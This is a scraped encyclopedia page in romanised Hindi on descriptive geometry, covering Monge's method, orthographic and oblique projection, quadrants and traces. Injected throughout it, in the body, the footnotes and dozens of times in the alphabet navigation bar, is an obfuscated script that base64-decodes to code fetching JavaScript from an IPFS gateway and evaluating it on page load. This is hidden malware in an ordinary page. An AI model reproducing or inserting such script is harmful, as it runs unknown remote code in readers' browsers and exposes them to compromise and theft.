ज्यामिति (वर्णनात्मक)

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jyamiti (varnanatmak) thosoan, taloan, rekhaoan aur unake pratichchhedoan ke pariman, akar aur sthiti ki drishti se, yatharth rekhan ko kahate haian. fraansisi ganitajn aur bhautikavid gais pard m aaunj[1] ne 18vian shatabdi ke aant mean is vyavaharik jyamiti ka avishkar kiya. sabhi vastunirman aur yaantriki manachitran ka yah saiddhaantik adhar hai aur isaka upayog mashinoan, imaratoan, puloan tatha jahazoan ke nakshe khianchane mean, chhaya ke niroopan mean tatha goliy tribhujoan ke alekhiy hal mean kiya jata hai. isake madhyam se abhikalpi apane vichar is vidya mean nipun raj aur mistri ko samajhata hai. isiliye varnanatmak jyamiti ko ianjiniyar ki sarvadeshik bhasha kaha gaya hai.[2]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

samasya samadhan hetu avashyak batean

varnatmak jyamiti dvara piandoan se sanbandhit samasya ke hal mean nimn batean avashyak haian-

  1. rekhaoan, prishthoan ya thosoan ka samataliy akritiyoan dvara niroopan
  2. in akritiyoan ki sahayata se samasya ko hal karana
  3. hal ko trivimitiy piandoan ke sandarbh mean samajhana

samataliy niroopan lanbarekhi prakshep[3] ke anusar kiya jata hai. samatal par kisi vastu[4] ka lanbarekhi prakshep vah akriti hai jo us vastu ke pratyek biandu se die hue samatal par khianche ge abhilanboan ke padoan se banati hai. is prakar samatal par kisi rriju rekha a b [5] ka lanbarekhi prakshep samanyata ek rriju rekha hi hogi; yadi a b[6] samatal par lanbe hai to prakshep biandu matr hoga; yadi samatal ke samaantar hai to prakshep dvara utani b di rekha milegi, anyatha kuchh chhoti.[2]

tiryak prakshep ka upayog

samatal par tiryak prakshep bhi ho sakata hai; tab prakshep vastu ke vibhinn bianduoan se samaantar rekhaean abhilanb disha ke atirikt kisi any disha mean khianchi jati haian. tiryak prakshep ka upayog chhaya chitran ke liye kiya jata hai. kaisa bhi prakshep ho, prakshepan ke liye khianchi gee samaantar rekhaoan ko prakshepak athava kiran kahate haian. samaantar kiranoan se prapt prakshepan mean prakshep ka pariman prakshepy ki doori par nirbhar nahian karata. yadi sabhi prakshepak kiranean ek biandu se, jise drishti biandu kahate haian, lekar jaean, to drishyalekhi prakshep[7] athava sandarsh[8] milata hai. is prakar vastu ka aisa chitr banata hai, jaisa vah netr ko dikhaee deti hai. drishti biandu aur prakshep samatal donoan se vastu ki dooriyoan par is chitr ka pariman nirbhar karata hai. samanyataya prekshap se lanbarekhi prakshep ka ashay hota hai.

vastuniroopan ki m aaunj vidhi

vastuniroopan ki m aaunj vidhi mean vastu ke do ya kabhi kabhi adhik, samataloan par lanbarekhi prakshep lie jate haian. mukhy samatal do haian- oordhvadhar samatal, jise oo[9] se soochit karate haian, aur kshaitij, jise ksh[10] se vyakt karate haian. in samataloan ki prakshep rekha ko adhar rekha[11] kahate haian aur a re[12] se soochit karate haian. kabhi kabhi tisare samatal parshvatal[13]ki avashyakata hoti he, tab ise a re[14] ke lanb roop mean liya jata hai aur yah oo tatha ksh donoan samataloan par lanb hota hai.[2]

oordhvadhar samatal vale prakshep ko oo-prakshep ya sanmukhadarshan[15] kahate haian aur kshaitij samatal vale ko ksh-prakshep ya anuvikshep[16] kahate haian. sanmukhadarshan ke sthan par prishthadarshan ke sthan par prishthadarshan, athava anuprasth dashran bhi liya jata hai tatha anuvikshep ke sthan mean shirshasth, athava taladarshan athava anuprasth vikshep bhi aur in shabdoan ka hi vyavahar spashtata ke liye kar diya jata hai. isi prakar parshvadarshan ko aantadarshan[17] bhi kahate haian.

vistar

mukhy prakshep samataloan ko vistar mean anant mana jata hai. inase akash char bhagoan mean, jinhean chaturthaansh[18] kahate haian, vibhakt ho jata hai. drashta aur oordhvadhar samatal ke bich vale chutarthaanshoan se kshaitij samatal se oopar vale ko pratham aur niche vale ko chutarth kahate haian. oordhvadhar samatal se pichhe ke chaturthaanshoan mean se oopar vale ko dvitiy aur niche vale ko tritiy kahate haian. trivimitiy akash mean sthit kisi biandu b ko samatal par niroopit karane ke liye b se donoan mukhy samataloan par abhilanb khianche jate haian. man lean, inake pad oordhvadhar samatal par b oo aur kshaitij par b ksh haian. ab oordhvadhar samatal ko a re[19] ke parit: chaturthaansh 1 se 2 ki or ghumakar kshaitij sthiti mean le aya jata hai aur boo ki yah sthiti tatha baksh ki mool sthiti samatal par biandu b ko niroopit karati haian. vastushilpi rekhan mean piand ko pratham chaturthaansh mean sthit man liya jata hai. phalat: sammukhadarshan anuvikshep ke oopar rahata hai. ianjiniyari rekhan mean piand ko tritiy chaturthaansh mean aur sandarsh rekhan mean dvitiy chaturthaansh mean sthit manate haian. chaturth chaturthaansh ka kadachith‌ hi vyavahar hota hai.

uparyukt vidhi se rrijurekha ka prakshep sada rrijurekha hi milega. anant samatal ko prakshep dvara niroopit nahian kiya ja sakata, kyoanki usaka prakshep donoan mukhy samataloan ko dhak dega. at: samatal ko usaki aur mukhy samataloan ki pratichchhed rekhaoan dvara niroopit kiya jata hai, jinhean anurekh[20] kahate haian. yadi samatal kisi bhi mukhy samatal ke samaantar nahian hai to isake anurekhan ya to a re[21] ke samaantar hoange, ya a re[22] ko ek hi biandu par kateange. a re[23] se jane vale samatal ko parshv samatal vale anurekh dvara niroopit kiya jata hai.[2]

pratichchhed vakroan ka niroopan

prishthoan aur unake pratichchhed vakroan ka niroopan unake vibhinn parichchhedoan ke prakshepoan dvara kiya jata hai. vikasaniy prishth vishesh roop se is vidhi dvara niroopanagamy hote haian. chhaya aur pratichchhayaoan ke niroopan ke liye prakash kiranoan ko samaantar aur drashta ke baean kandhe par se aisi disha mean ati huee mana jata hai ki mukhy samataloan par unake prakshep adhar rekha se 45° ke kon banate haian. prachchhaya, upachchhaya, chhayarekha tatha prakashit bhag varnanatmak jyamiti dvara saralata se niroopit kie ja sakate haian. ianjiniyari chhatroan ke liye yah pathyakram ka vishay hai aur anek pravidhik tatha shaikshik pustakean is par upalabdh haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ Gaspard Monge
  2. ↑ 2.0 2.1 2.2 2.3 jyamiti (varnanatmak) (hindi) bharatakhoj. abhigaman tithi: 03 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ orthographic projection
  4. ↑ biandu, rekha, tal ya thos kuchh bhi ho
  5. ↑ AB
  6. ↑ AB
  7. ↑ seenographic projection
  8. ↑ perspective
  9. ↑ V
  10. ↑ H
  11. ↑ groundline
  12. ↑ GL
  13. ↑ profile plane
  14. ↑ GL
  15. ↑ elevation
  16. ↑ plan
  17. ↑ end view
  18. ↑ quardrants
  19. ↑ (GL
  20. ↑ traces
  21. ↑ GL
  22. ↑ GL
  23. ↑ GL

sanbandhit lekh

dekhean • varta • badalean
ganit
aankaganit
bijaganit
-
jyamiti
any


varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Retrieved from "https://en.bharatdiscovery.org/w/index.php?title=ज्यामिति_(वर्णनात्मक)&oldid=658349"